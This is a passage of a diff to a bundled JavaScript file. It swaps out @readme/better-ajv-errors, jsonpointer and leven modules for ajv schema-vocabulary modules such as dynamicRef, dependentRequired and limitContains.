}) { + if (parentSchema.if === void 0) + (0, util_1.checkStrictMode)(it2, `"${keyword}" without "if" is ignored`); } - (0, _inherits22["default"])(AdditionalPropValidationError2, _BaseValidationError); - return (0, _createClass22["default"])(AdditionalPropValidationError2, [{ - key: "print", - value: function print() { - var _this$options = this.options, message = _this$options.message, params = _this$options.params; - var colorizer = this.getColorizer(); - var output = ["".concat(colorizer.red("".concat(colorizer.bold("ADDITIONAL PROPERTY"), " ").concat(message)), "\n")]; - return output.concat(this.getCodeFrame("".concat(colorizer.magentaBright(params.additionalProperty), " is not expected to be here!"), "".concat(this.instancePath, "/").concat(params.additionalProperty))); - } - }, { - key: "getError", - value: function getError() { - var params = this.options.params; - return _objectSpread(_objectSpread({}, this.getLocation("".concat(this.instancePath, "/").concat(params.additionalProperty))), {}, { - error: "".concat(this.getDecoratedPath(), " Property ").concat(params.additionalProperty, " is not expected to be here"), - path: this.instancePath - }); - } - }]); - }(_base["default"]); - module5.exports = exports28.default; + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/validation-errors/default.js -var require_default = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/validation-errors/default.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/applicator/index.js +var require_applicator = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/index.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = void 0; - var _defineProperty2 = _interopRequireDefault(require_defineProperty()); - var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); - var _createClass22 = _interopRequireDefault(require_createClass()); - var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); - var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); - var _inherits22 = _interopRequireDefault(require_inherits()); - var _base = _interopRequireDefault(require_base()); - function ownKeys2(e10, r8) { - var t8 = Object.keys(e10); - if (Object.getOwnPropertySymbols) { - var o7 = Object.getOwnPropertySymbols(e10); - r8 && (o7 = o7.filter(function(r9) { - return Object.getOwnPropertyDescriptor(e10, r9).enumerable; - })), t8.push.apply(t8, o7); - } - return t8; - } - function _objectSpread(e10) { - for (var r8 = 1; r8 < arguments.length; r8++) { - var t8 = null != arguments[r8] ? arguments[r8] : {}; - r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { - (0, _defineProperty2["default"])(e10, r9, t8[r9]); - }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { - Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); - }); - } - return e10; - } - function _callSuper(t8, o7, e10) { - return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); - } - function _isNativeReflectConstruct3() { - try { - var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { - })); - } catch (t9) { - } - return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { - return !!t8; - })(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var additionalItems_1 = require_additionalItems(); + var prefixItems_1 = require_prefixItems(); + var items_1 = require_items(); + var items2020_1 = require_items2020(); + var contains_1 = require_contains(); + var dependencies_1 = require_dependencies(); + var propertyNames_1 = require_propertyNames(); + var additionalProperties_1 = require_additionalProperties(); + var properties_1 = require_properties(); + var patternProperties_1 = require_patternProperties(); + var not_1 = require_not(); + var anyOf_1 = require_anyOf(); + var oneOf_1 = require_oneOf(); + var allOf_1 = require_allOf(); + var if_1 = require_if(); + var thenElse_1 = require_thenElse(); + function getApplicator(draft2020 = false) { + const applicator = [ + // any + not_1.default, + anyOf_1.default, + oneOf_1.default, + allOf_1.default, + if_1.default, + thenElse_1.default, + // object + propertyNames_1.default, + additionalProperties_1.default, + dependencies_1.default, + properties_1.default, + patternProperties_1.default + ]; + if (draft2020) + applicator.push(prefixItems_1.default, items2020_1.default); + else + applicator.push(additionalItems_1.default, items_1.default); + applicator.push(contains_1.default); + return applicator; } - var DefaultValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { - function DefaultValidationError2() { - var _this; - (0, _classCallCheck22["default"])(this, DefaultValidationError2); - for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { - args[_key] = arguments[_key]; - } - _this = _callSuper(this, DefaultValidationError2, [].concat(args)); - _this.name = "DefaultValidationError"; - _this.options.isSkipEndLocation = true; - return _this; - } - (0, _inherits22["default"])(DefaultValidationError2, _BaseValidationError); - return (0, _createClass22["default"])(DefaultValidationError2, [{ - key: "print", - value: function print() { - var _this$options = this.options, keyword = _this$options.keyword, message = _this$options.message; - var colorizer = this.getColorizer(); - var output = ["".concat(colorizer.red("".concat(colorizer.bold(keyword.toUpperCase()), " ").concat(message)), "\n")]; - return output.concat(this.getCodeFrame("".concat(colorizer.magentaBright(keyword), " ").concat(message))); - } - }, { - key: "getError", - value: function getError() { - var _this$options2 = this.options, keyword = _this$options2.keyword, message = _this$options2.message; - return _objectSpread(_objectSpread({}, this.getLocation()), {}, { - error: "".concat(this.getDecoratedPath(), ": ").concat(keyword, " ").concat(message), - path: this.instancePath - }); - } - }]); - }(_base["default"]); - module5.exports = exports28.default; + exports28.default = getApplicator; } }); -// node_modules/jsonpointer/jsonpointer.js -var require_jsonpointer = __commonJS({ - "node_modules/jsonpointer/jsonpointer.js"(exports28) { +// node_modules/ajv/dist/vocabularies/dynamic/dynamicAnchor.js +var require_dynamicAnchor = __commonJS({ + "node_modules/ajv/dist/vocabularies/dynamic/dynamicAnchor.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var hasExcape = /~/; - var escapeMatcher = /~[01]/g; - function escapeReplacer(m7) { - switch (m7) { - case "~1": - return "/"; - case "~0": - return "~"; - } - throw new Error("Invalid tilde escape: " + m7); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.dynamicAnchor = void 0; + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var compile_1 = require_compile(); + var ref_1 = require_ref(); + var def = { + keyword: "$dynamicAnchor", + schemaType: "string", + code: (cxt) => dynamicAnchor(cxt, cxt.schema) + }; + function dynamicAnchor(cxt, anchor) { + const { gen, it: it2 } = cxt; + it2.schemaEnv.root.dynamicAnchors[anchor] = true; + const v8 = (0, codegen_1._)`${names_1.default.dynamicAnchors}${(0, codegen_1.getProperty)(anchor)}`; + const validate15 = it2.errSchemaPath === "#" ? it2.validateName : _getValidate(cxt); + gen.if((0, codegen_1._)`!${v8}`, () => gen.assign(v8, validate15)); } - function untilde4(str2) { - if (!hasExcape.test(str2)) - return str2; - return str2.replace(escapeMatcher, escapeReplacer); + exports28.dynamicAnchor = dynamicAnchor; + function _getValidate(cxt) { + const { schemaEnv, schema: schema8, self: self2 } = cxt.it; + const { root: root2, baseId, localRefs, meta } = schemaEnv.root; + const { schemaId } = self2.opts; + const sch = new compile_1.SchemaEnv({ schema: schema8, schemaId, root: root2, baseId, localRefs, meta }); + compile_1.compileSchema.call(self2, sch); + return (0, ref_1.getValidate)(cxt, sch); } - function setter(obj, pointer, value2) { - var part; - var hasNextPart; - for (var p7 = 1, len = pointer.length; p7 < len; ) { - if (pointer[p7] === "constructor" || pointer[p7] === "prototype" || pointer[p7] === "__proto__") - return obj; - part = untilde4(pointer[p7++]); - hasNextPart = len > p7; - if (typeof obj[part] === "undefined") { - if (Array.isArray(obj) && part === "-") { - part = obj.length; - } - if (hasNextPart) { - if (pointer[p7] !== "" && pointer[p7] < Infinity || pointer[p7] === "-") - obj[part] = []; - else - obj[part] = {}; - } - } - if (!hasNextPart) - break; - obj = obj[part]; + exports28.default = def; + } +}); + +// node_modules/ajv/dist/vocabularies/dynamic/dynamicRef.js +var require_dynamicRef = __commonJS({ + "node_modules/ajv/dist/vocabularies/dynamic/dynamicRef.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.dynamicRef = void 0; + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var ref_1 = require_ref(); + var def = { + keyword: "$dynamicRef", + schemaType: "string", + code: (cxt) => dynamicRef(cxt, cxt.schema) + }; + function dynamicRef(cxt, ref) { + const { gen, keyword, it: it2 } = cxt; + if (ref[0] !== "#") + throw new Error(`"${keyword}" only supports hash fragment reference`); + const anchor = ref.slice(1); + if (it2.allErrors) { + _dynamicRef(); + } else { + const valid = gen.let("valid", false); + _dynamicRef(valid); + cxt.ok(valid); } - var oldValue = obj[part]; - if (value2 === void 0) - delete obj[part]; - else - obj[part] = value2; - return oldValue; - } - function compilePointer(pointer) { - if (typeof pointer === "string") { - pointer = pointer.split("/"); - if (pointer[0] === "") - return pointer; - throw new Error("Invalid JSON pointer."); - } else if (Array.isArray(pointer)) { - for (const part of pointer) { - if (typeof part !== "string" && typeof part !== "number") { - throw new Error("Invalid JSON pointer. Must be of type string or number."); - } + function _dynamicRef(valid) { + if (it2.schemaEnv.root.dynamicAnchors[anchor]) { + const v8 = gen.let("_v", (0, codegen_1._)`${names_1.default.dynamicAnchors}${(0, codegen_1.getProperty)(anchor)}`); + gen.if(v8, _callRef(v8, valid), _callRef(it2.validateName, valid)); + } else { + _callRef(it2.validateName, valid)(); } - return pointer; } - throw new Error("Invalid JSON pointer."); - } - function get4(obj, pointer) { - if (typeof obj !== "object") - throw new Error("Invalid input object."); - pointer = compilePointer(pointer); - var len = pointer.length; - if (len === 1) - return obj; - for (var p7 = 1; p7 < len; ) { - obj = obj[untilde4(pointer[p7++])]; - if (len === p7) - return obj; - if (typeof obj !== "object" || obj === null) - return void 0; + function _callRef(validate15, valid) { + return valid ? () => gen.block(() => { + (0, ref_1.callRef)(cxt, validate15); + gen.let(valid, true); + }) : () => (0, ref_1.callRef)(cxt, validate15); } } - function set4(obj, pointer, value2) { - if (typeof obj !== "object") - throw new Error("Invalid input object."); - pointer = compilePointer(pointer); - if (pointer.length === 0) - throw new Error("Invalid JSON pointer for set."); - return setter(obj, pointer, value2); - } - function compile(pointer) { - var compiled = compilePointer(pointer); - return { - get: function(object) { - return get4(object, compiled); - }, - set: function(object, value2) { - return set4(object, compiled, value2); - } - }; - } - exports28.get = get4; - exports28.set = set4; - exports28.compile = compile; + exports28.dynamicRef = dynamicRef; + exports28.default = def; } }); -// node_modules/leven/index.js -var require_leven = __commonJS({ - "node_modules/leven/index.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/dynamic/recursiveAnchor.js +var require_recursiveAnchor = __commonJS({ + "node_modules/ajv/dist/vocabularies/dynamic/recursiveAnchor.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var array = []; - var charCodeCache = []; - var leven = (left, right) => { - if (left === right) { - return 0; - } - const swap = left; - if (left.length > right.length) { - left = right; - right = swap; - } - let leftLength = left.length; - let rightLength = right.length; - while (leftLength > 0 && left.charCodeAt(~-leftLength) === right.charCodeAt(~-rightLength)) { - leftLength--; - rightLength--; - } - let start = 0; - while (start < leftLength && left.charCodeAt(start) === right.charCodeAt(start)) { - start++; - } - leftLength -= start; - rightLength -= start; - if (leftLength === 0) { - return rightLength; - } - let bCharCode; - let result2; - let temp; - let temp2; - let i7 = 0; - let j6 = 0; - while (i7 < leftLength) { - charCodeCache[i7] = left.charCodeAt(start + i7); - array[i7] = ++i7; - } - while (j6 < rightLength) { - bCharCode = right.charCodeAt(start + j6); - temp = j6++; - result2 = j6; - for (i7 = 0; i7 < leftLength; i7++) { - temp2 = bCharCode === charCodeCache[i7] ? temp : temp + 1; - temp = array[i7]; - result2 = array[i7] = temp > result2 ? temp2 > result2 ? result2 + 1 : temp2 : temp2 > temp ? temp + 1 : temp2; - } + Object.defineProperty(exports28, "__esModule", { value: true }); + var dynamicAnchor_1 = require_dynamicAnchor(); + var util_1 = require_util(); + var def = { + keyword: "$recursiveAnchor", + schemaType: "boolean", + code(cxt) { + if (cxt.schema) + (0, dynamicAnchor_1.dynamicAnchor)(cxt, ""); + else + (0, util_1.checkStrictMode)(cxt.it, "$recursiveAnchor: false is ignored"); } - return result2; }; - module5.exports = leven; - module5.exports.default = leven; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/validation-errors/enum.js -var require_enum = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/validation-errors/enum.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/dynamic/recursiveRef.js +var require_recursiveRef = __commonJS({ + "node_modules/ajv/dist/vocabularies/dynamic/recursiveRef.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = void 0; - var _defineProperty2 = _interopRequireDefault(require_defineProperty()); - var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); - var _createClass22 = _interopRequireDefault(require_createClass()); - var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); - var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); - var _inherits22 = _interopRequireDefault(require_inherits()); - var _jsonpointer = _interopRequireDefault(require_jsonpointer()); - var _leven = _interopRequireDefault(require_leven()); - var _base = _interopRequireDefault(require_base()); - function ownKeys2(e10, r8) { - var t8 = Object.keys(e10); - if (Object.getOwnPropertySymbols) { - var o7 = Object.getOwnPropertySymbols(e10); - r8 && (o7 = o7.filter(function(r9) { - return Object.getOwnPropertyDescriptor(e10, r9).enumerable; - })), t8.push.apply(t8, o7); - } - return t8; - } - function _objectSpread(e10) { - for (var r8 = 1; r8 < arguments.length; r8++) { - var t8 = null != arguments[r8] ? arguments[r8] : {}; - r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { - (0, _defineProperty2["default"])(e10, r9, t8[r9]); - }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { - Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); - }); - } - return e10; - } - function _callSuper(t8, o7, e10) { - return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); - } - function _isNativeReflectConstruct3() { - try { - var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { - })); - } catch (t9) { - } - return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { - return !!t8; - })(); - } - var EnumValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { - function EnumValidationError2() { - var _this; - (0, _classCallCheck22["default"])(this, EnumValidationError2); - for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { - args[_key] = arguments[_key]; - } - _this = _callSuper(this, EnumValidationError2, [].concat(args)); - _this.name = "EnumValidationError"; - return _this; - } - (0, _inherits22["default"])(EnumValidationError2, _BaseValidationError); - return (0, _createClass22["default"])(EnumValidationError2, [{ - key: "print", - value: function print() { - var _this$options = this.options, message = _this$options.message, allowedValues = _this$options.params.allowedValues; - var colorizer = this.getColorizer(); - var bestMatch = this.findBestMatch(); - var output = ["".concat(colorizer.red("".concat(colorizer.bold("ENUM"), " ").concat(message))), "".concat(colorizer.red("(".concat(allowedValues.join(", "), ")")), "\n")]; - return output.concat(this.getCodeFrame(bestMatch !== null ? "Did you mean ".concat(colorizer.magentaBright(bestMatch), " here?") : "Unexpected value, should be equal to one of the allowed values")); - } - }, { - key: "getError", - value: function getError() { - var _this$options2 = this.options, message = _this$options2.message, params = _this$options2.params; - var bestMatch = this.findBestMatch(); - var allowedValues = params.allowedValues.join(", "); - var output = _objectSpread(_objectSpread({}, this.getLocation()), {}, { - error: "".concat(this.getDecoratedPath(), " ").concat(message, ": ").concat(allowedValues), - path: this.instancePath - }); - if (bestMatch !== null) { - output.suggestion = "Did you mean ".concat(bestMatch, "?"); - } - return output; - } - }, { - key: "findBestMatch", - value: function findBestMatch() { - var allowedValues = this.options.params.allowedValues; - var currentValue = this.instancePath === "" ? this.data : _jsonpointer["default"].get(this.data, this.instancePath); - if (!currentValue) { - return null; - } - var bestMatch = allowedValues.map(function(value2) { - return { - value: value2, - weight: (0, _leven["default"])(value2, currentValue.toString()) - }; - }).sort(function(x7, y7) { - return x7.weight > y7.weight ? 1 : x7.weight < y7.weight ? -1 : 0; - })[0]; - return allowedValues.length === 1 || bestMatch.weight < bestMatch.value.length ? bestMatch.value : null; - } - }]); - }(_base["default"]); - module5.exports = exports28.default; + Object.defineProperty(exports28, "__esModule", { value: true }); + var dynamicRef_1 = require_dynamicRef(); + var def = { + keyword: "$recursiveRef", + schemaType: "string", + code: (cxt) => (0, dynamicRef_1.dynamicRef)(cxt, cxt.schema) + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/validation-errors/pattern.js -var require_pattern = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/validation-errors/pattern.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/dynamic/index.js +var require_dynamic = __commonJS({ + "node_modules/ajv/dist/vocabularies/dynamic/index.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = void 0; - var _defineProperty2 = _interopRequireDefault(require_defineProperty()); - var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); - var _createClass22 = _interopRequireDefault(require_createClass()); - var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); - var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); - var _inherits22 = _interopRequireDefault(require_inherits()); - var _base = _interopRequireDefault(require_base()); - function ownKeys2(e10, r8) { - var t8 = Object.keys(e10); - if (Object.getOwnPropertySymbols) { - var o7 = Object.getOwnPropertySymbols(e10); - r8 && (o7 = o7.filter(function(r9) { - return Object.getOwnPropertyDescriptor(e10, r9).enumerable; - })), t8.push.apply(t8, o7); - } - return t8; - } - function _objectSpread(e10) { - for (var r8 = 1; r8 < arguments.length; r8++) { - var t8 = null != arguments[r8] ? arguments[r8] : {}; - r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { - (0, _defineProperty2["default"])(e10, r9, t8[r9]); - }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { - Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); - }); - } - return e10; - } - function _callSuper(t8, o7, e10) { - return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); - } - function _isNativeReflectConstruct3() { - try { - var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { - })); - } catch (t9) { - } - return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { - return !!t8; - })(); - } - var PatternValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { - function PatternValidationError2() { - var _this; - (0, _classCallCheck22["default"])(this, PatternValidationError2); - for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { - args[_key] = arguments[_key]; - } - _this = _callSuper(this, PatternValidationError2, [].concat(args)); - _this.name = "PatternValidationError"; - _this.options.isIdentifierLocation = true; - return _this; - } - (0, _inherits22["default"])(PatternValidationError2, _BaseValidationError); - return (0, _createClass22["default"])(PatternValidationError2, [{ - key: "print", - value: function print() { - var _this$options = this.options, message = _this$options.message, params = _this$options.params, propertyName = _this$options.propertyName; - var colorizer = this.getColorizer(); - var output = ["".concat(colorizer.red("".concat(colorizer.bold("PROPERTY"), " ").concat(message)), "\n")]; - return output.concat(this.getCodeFrame("must match pattern ".concat(colorizer.magentaBright(params.pattern)), propertyName ? "".concat(this.instancePath, "/").concat(propertyName) : this.instancePath)); - } - }, { - key: "getError", - value: function getError() { - var _this$options2 = this.options, params = _this$options2.params, propertyName = _this$options2.propertyName; - return _objectSpread(_objectSpread({}, this.getLocation()), {}, { - error: "".concat(this.getDecoratedPath(), ' Property "').concat(propertyName, '" must match pattern ').concat(params.pattern), - path: this.instancePath - }); - } - }]); - }(_base["default"]); - module5.exports = exports28.default; + Object.defineProperty(exports28, "__esModule", { value: true }); + var dynamicAnchor_1 = require_dynamicAnchor(); + var dynamicRef_1 = require_dynamicRef(); + var recursiveAnchor_1 = require_recursiveAnchor(); + var recursiveRef_1 = require_recursiveRef(); + var dynamic = [dynamicAnchor_1.default, dynamicRef_1.default, recursiveAnchor_1.default, recursiveRef_1.default]; + exports28.default = dynamic; } }); -// node_modules/@babel/runtime/helpers/superPropBase.js -var require_superPropBase = __commonJS({ - "node_modules/@babel/runtime/helpers/superPropBase.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/dependentRequired.js +var require_dependentRequired = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/dependentRequired.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var getPrototypeOf = require_getPrototypeOf(); - function _superPropBase(t8, o7) { - for (; !{}.hasOwnProperty.call(t8, o7) && null !== (t8 = getPrototypeOf(t8)); ) - ; - return t8; - } - module5.exports = _superPropBase, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var dependencies_1 = require_dependencies(); + var def = { + keyword: "dependentRequired", + type: "object", + schemaType: "object", + error: dependencies_1.error, + code: (cxt) => (0, dependencies_1.validatePropertyDeps)(cxt) + }; + exports28.default = def; } }); -// node_modules/@babel/runtime/helpers/get.js -var require_get = __commonJS({ - "node_modules/@babel/runtime/helpers/get.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/applicator/dependentSchemas.js +var require_dependentSchemas = __commonJS({ + "node_modules/ajv/dist/vocabularies/applicator/dependentSchemas.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - var superPropBase = require_superPropBase(); - function _get() { - return module5.exports = _get = "undefined" != typeof Reflect && Reflect.get ? Reflect.get.bind() : function(e10, t8, r8) { - var p7 = superPropBase(e10, t8); - if (p7) { - var n7 = Object.getOwnPropertyDescriptor(p7, t8); - return n7.get ? n7.get.call(arguments.length < 3 ? e10 : r8) : n7.value; - } - }, module5.exports.__esModule = true, module5.exports["default"] = module5.exports, _get.apply(null, arguments); - } - module5.exports = _get, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + Object.defineProperty(exports28, "__esModule", { value: true }); + var dependencies_1 = require_dependencies(); + var def = { + keyword: "dependentSchemas", + type: "object", + schemaType: "object", + code: (cxt) => (0, dependencies_1.validateSchemaDeps)(cxt) + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/validation-errors/required.js -var require_required = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/validation-errors/required.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/validation/limitContains.js +var require_limitContains = __commonJS({ + "node_modules/ajv/dist/vocabularies/validation/limitContains.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = void 0; - var _defineProperty2 = _interopRequireDefault(require_defineProperty()); - var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); - var _createClass22 = _interopRequireDefault(require_createClass()); - var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); - var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); - var _get2 = _interopRequireDefault(require_get()); - var _inherits22 = _interopRequireDefault(require_inherits()); - var _base = _interopRequireDefault(require_base()); - function ownKeys2(e10, r8) { - var t8 = Object.keys(e10); - if (Object.getOwnPropertySymbols) { - var o7 = Object.getOwnPropertySymbols(e10); - r8 && (o7 = o7.filter(function(r9) { - return Object.getOwnPropertyDescriptor(e10, r9).enumerable; - })), t8.push.apply(t8, o7); - } - return t8; - } - function _objectSpread(e10) { - for (var r8 = 1; r8 < arguments.length; r8++) { - var t8 = null != arguments[r8] ? arguments[r8] : {}; - r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { - (0, _defineProperty2["default"])(e10, r9, t8[r9]); - }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { - Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); - }); - } - return e10; - } - function _callSuper(t8, o7, e10) { - return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); - } - function _isNativeReflectConstruct3() { - try { - var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { - })); - } catch (t9) { - } - return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { - return !!t8; - })(); - } - function _superPropGet(t8, o7, e10, r8) { - var p7 = (0, _get2["default"])((0, _getPrototypeOf22["default"])(1 & r8 ? t8.prototype : t8), o7, e10); - return 2 & r8 && "function" == typeof p7 ? function(t9) { - return p7.apply(e10, t9); - } : p7; - } - var RequiredValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { - function RequiredValidationError2() { - var _this; - (0, _classCallCheck22["default"])(this, RequiredValidationError2); - for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { - args[_key] = arguments[_key]; + Object.defineProperty(exports28, "__esModule", { value: true }); + var util_1 = require_util(); + var def = { + keyword: ["maxContains", "minContains"], + type: "array", + schemaType: "number", + code({ keyword, parentSchema, it: it2 }) { + if (parentSchema.contains === void 0) { + (0, util_1.checkStrictMode)(it2, `"${keyword}" without "contains" is ignored`); } - _this = _callSuper(this, RequiredValidationError2, [].concat(args)); - _this.name = "RequiredValidationError"; - return _this; } - (0, _inherits22["default"])(RequiredValidationError2, _BaseValidationError); - return (0, _createClass22["default"])(RequiredValidationError2, [{ - key: "getLocation", - value: function getLocation2() { - var dataPath = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : this.instancePath; - var _superPropGet2 = _superPropGet(RequiredValidationError2, "getLocation", this, 3)([dataPath]), start = _superPropGet2.start; - return { - start - }; - } - }, { - key: "print", - value: function print() { - var _this$options = this.options, message = _this$options.message, params = _this$options.params; - var colorizer = this.getColorizer(); - var output = ["".concat(colorizer.red("".concat(colorizer.bold("REQUIRED"), " ").concat(message)), "\n")]; - return output.concat(this.getCodeFrame("".concat(colorizer.magentaBright(params.missingProperty), " is missing here!"))); - } - }, { - key: "getError", - value: function getError() { - var message = this.options.message; - return _objectSpread(_objectSpread({}, this.getLocation()), {}, { - error: "".concat(this.getDecoratedPath(), " ").concat(message), - path: this.instancePath - }); - } - }]); - }(_base["default"]); - module5.exports = exports28.default; + }; + exports28.default = def; } }); -// node_modules/@readme/better-ajv-errors/lib/validation-errors/unevaluated-prop.js -var require_unevaluated_prop = __commonJS({ - "node_modules/@readme/better-ajv-errors/lib/validation-errors/unevaluated-prop.js"(exports28, module5) { +// node_modules/ajv/dist/vocabularies/next.js +var require_next = __commonJS({ + "node_modules/ajv/dist/vocabularies/next.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); - var _interopRequireDefault = require_interopRequireDefault(); - Object.defineProperty(exports28, "__esModule", { - value: true - }); - exports28["default"] = void 0; - var _defineProperty2 = _interopRequireDefault(require_defineProperty()); - var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); - var _createClass22 = _interopRequireDefault(require_createClass()); - var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); - var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); - var _inherits22 = _interopRequireDefault(require_inherits()); - var _base = _interopRequireDefault(require_base()); - function ownKeys2(e10, r8) { - var t8 = Object.keys(e10); - if (Object.getOwnPropertySymbols) { - var o7 = Object.getOwnPropertySymbols(e10); - r8 && (o7 = o7.filter(function(r9) { - return Object.getOwnPropertyDescriptor(e10, r9).enumerable; - })), t8.push.apply(t8, o7); - } - return t8; - } - function _objectSpread(e10) { - for (var r8 = 1; r8 < arguments.length; r8++) { - var t8 = null != arguments[r8] ? arguments[r8] : {}; - r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { - (0, _defineProperty2["default"])(e10, r9, t8[r9]); - }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { - Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); - }); - } - return e10; - } - function _callSuper(t8, o7, e10) { - return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); - } - function _isNativeReflectConstruct3() { - try { - var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { - })); - } catch (t9) { - } - return (_isNativeReflectConstruct3 = function 